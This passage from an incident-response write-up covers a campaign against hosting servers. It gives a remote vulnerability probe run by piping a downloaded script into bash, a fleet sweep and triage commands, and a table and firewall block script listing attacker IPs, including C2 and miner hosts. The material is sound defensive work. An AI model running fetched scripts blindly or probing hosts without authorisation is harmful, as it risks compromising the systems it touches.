Non-destructive remote verdict over the network. Sends a canary-tagged probe request and reads HTTP response codes plus a single redirect to determine SAFE vs VULNERABLE without actually exploiting. Pair with xargs -P or your fleet runner of choice for parallel sweeps. The canary attribute on the resulting session file is recognized by ioc-scan's PROBE_ARTIFACT bucket, so a probe sweep does not self-trigger compromise alerts on the targets.
# 1) probe a single host (non-destructive verdict by HTTP code)
curl -s https://sh.rfxn.com/sessionscribe-remote-probe.sh | bash -s -- --target host.example.com
# 2) parallel fleet sweep, JSONL out (16 concurrent probes)
xargs -a fleet.txt -P 16 -I {} \
bash sessionscribe-remote-probe.sh --target {} --jsonl --quiet \
>> fleet-probe.jsonl
# 3) verdict summary (after sweep)
jq -r '[.host, .verdict] | @tsv' fleet-probe.jsonl | sort -u | column -t
# 4) targets that came back VULNERABLE; pipe into per-host triage
jq -r 'select(.verdict=="VULNERABLE") | .host' fleet-probe.jsonl \
| while read h; do
ssh "$h" 'bash -s' < sessionscribe-ioc-scan.sh \
--jsonl --quiet > "${h}.jsonl"
doneTier-1 attacker IPs (block today)
KB-known plus access-log 2xx success against the fleet. Both signals are observed at the IP level and are independent of host-verdict logic, so they survive any verdict-precision change in the scanner. Roles below are observed behavior in this corpus; treat as defensible attribution buckets, not named-actor attribution.
| IP | Observed role | UA |
|---|---|---|
| 80.75.212.14 | broad-scope exploitation; highest 2xx success volume in corpus | |
| 94.231.206.39 | TLS handshake to :2095, badpass exploit (KB-known) | |
| 142.93.43.26 | badpass exploit at scale | |
| 45.82.78.104 | TLS handshake to :2082, websocket Shell pivot (KB-known) | Chrome 135 / Opera 120 / Firefox 142 |
| 206.189.2.13 | leakix scanner badpass (KB-known) | leakix/2.0 |
| 157.245.204.205 | leakix scanner badpass (KB-known) | leakix/2.0 |
| 136.244.66.225 | session-origin pool, 2xx success | |
| 68.233.238.100 | badpass exploit (KB-known) | python-requests/2.33.1 |
| 159.223.155.255 | post-CVE 2xx wave (DigitalOcean cluster) | |
| 137.184.77.0 | badpass exploit (KB-known) | |
| 38.146.25.154 | Pattern D createacct source; Operator A | Go-http-client/1.1 |
| 67.205.134.215 | post-CVE 2xx wave (DigitalOcean cluster) | |
| 206.189.227.202 | post-CVE 2xx wave (DigitalOcean cluster) | |
| 192.81.219.190 | Pattern D enum + websocket Shell; Operator A (24x80) | |
| 146.19.24.235 | badpass exploit, recurring origin | |
| 149.102.229.144 | websocket Shell pivot; Operator B (24x120) | Mozilla/5.0 Firefox/142.0 |
| 183.82.160.147 | websocket Shell pivot; Operator C (24x134); recurs across the window | Mozilla/5.0 |
| 87.121.84.78 | Pattern C nuclear.x86 binary host | |
| 68.183.190.253 | Pattern A .sorry encryptor C2 | |
| 96.30.39.236 | claimed source-IP in Pattern D createacct API call body (attacker-controlled field; useful for log join, not necessarily real origin); KB-known | |
| 45.92.1.188 | Pattern J operator: drops udev/systemd-unit init-facility persistence with out-of-band payload binary fetch | |
| 87.121.84.243 | Pattern C nuclear.x86 binary host (sibling to .78; observed 2026-05-03) | |
| 67.205.166.246 | post-CVE 2xx wave (DigitalOcean cluster); 2026-05-03 cloudvpstemplate badpass | |
| 64.91.249.4 | Pattern I (PERS-ProfileD) candidate; flagged outside the original GR cohort, 2026-05-04 | |
| 192.63.172.156 | pre-disclosure cpsess GET as root on web04.guestreservations.com (2026-03-10) | |
| 5.230.165.16 | quickfix17 prior-run badpass exploit | |
| 5.252.177.207 | quickfix17 prior-run badpass exploit | |
| 89.34.18.59 | host.coprimemain.com unclassified ransom report (2026-04-30) | |
| 147.182.224.216 | atdu perl-bot loader (DigitalOcean); 8 exacthosting hosts in active fleet sweep | |
| 45.140.17.40 | codeItems3 PHP cron-bot C2; per-host API token header | |
| 45.140.17.23 | codeItems3 sibling C2 (same /24, same actor) | |
| 157.245.235.139 | xminstall xmrig loader (DigitalOcean) | |
| 57.129.119.218 | xmrig pool / relay (port 80); active ESTAB observed | |
| 209.14.84.37 | novel implant C2 on host.snap-itservices.com (port 1220, non-standard) |
# Tier-1 IC-5790 attacker IPs. Run as root; auto-routes to whichever
# host firewall is present (csf preferred, apf next, iptables fallback).
IPS=(
80.75.212.14 94.231.206.39 142.93.43.26 45.82.78.104
206.189.2.13 157.245.204.205 136.244.66.225 68.233.238.100
159.223.155.255 137.184.77.0 38.146.25.154 67.205.134.215
206.189.227.202 192.81.219.190 146.19.24.235 149.102.229.144
183.82.160.147 87.121.84.78 68.183.190.253 96.30.39.236
45.92.1.188 87.121.84.243 67.205.166.246 64.91.249.4
192.63.172.156 5.230.165.16 5.252.177.207 89.34.18.59
147.182.224.216 45.140.17.40 45.140.17.23 157.245.235.139
57.129.119.218 209.14.84.37
)
COMMENT="IC-5790-T1"
if command -v csf >/dev/null 2>&1; then
for ip in "${IPS[@]}"; do csf -d "$ip" "$COMMENT"; done
elif command -v apf >/dev/null 2>&1; then
for ip in "${IPS[@]}"; do apf -d "$ip" "$COMMENT"; done
else
# No csf/apf; raw iptables fallback. Drops + persists via your distro's
# iptables-save tooling (iptables-services, netfilter-persistent, etc.)
for ip in "${IPS[@]}"; do
iptables -I INPUT -s "$ip" -j DROP -m comment --comment "$COMMENT"
ip6tables -I INPUT -s "$ip" -j DROP -m comment --comment "$COMMENT" 2>/dev/null || true
done
fiOpen Questions#
What's Next#
This is an active incident, not a closed one. The journal stays under continuous monitoring on three axes:
- Pattern surface. Patterns A through L are what we have today; L was added this week. The catalog will grow as new shapes surface. Anything that lands at the destructive terminal stage (new payload variant, new persistence wrapper, new second-stage backdoor) is on the lookout list, with the same single-letter naming carrying forward. We update this page when a new pattern earns its letter; section anchors stay stable so cross-references keep resolving.
- Sleeper monitoring. The pre-mitigation-window doctrine in the sleeper-attacker section governs every host that scans CLEAN today on a build that was vulnerable before 2026-04-28. We continue to track credential-rotation evidence (SSH key reissue, WHM_FullRoot token revocation, cluster-replication keypair cycling) on those hosts and to watch access-log traffic for the legitimate-looking auth signatures that follow a credentials walk-out. New pre-disclosure outliers go in the Tier-1 IP table as they surface.
- Verdict-gap monitoring. The 51-host runtime cohort surfaced by the verdict-engine gap walk on 2026-05-05 is a snapshot, not a stable list. We re-run the same hunt against the per-IP latest-envelope set on a rolling basis to track whether the gap shrinks as runtime-track scoring lands, whether new live-malware shapes appear, and whether the hosts that were CLEAN-rated in the snapshot get cleaned up or stay resident. Wallets, C2 IPs, and masquerade procnames accumulate in the pivot-indicator list as we find them.
The next field-notes entry follows when one of the three axes produces something operators can act on: a new pattern letter, a credentials-walk-out signature on a sleeper cohort, or a measurable shift in the verdict-gap population. Corroboration and new evidence welcome via GitHub issues on the source repo.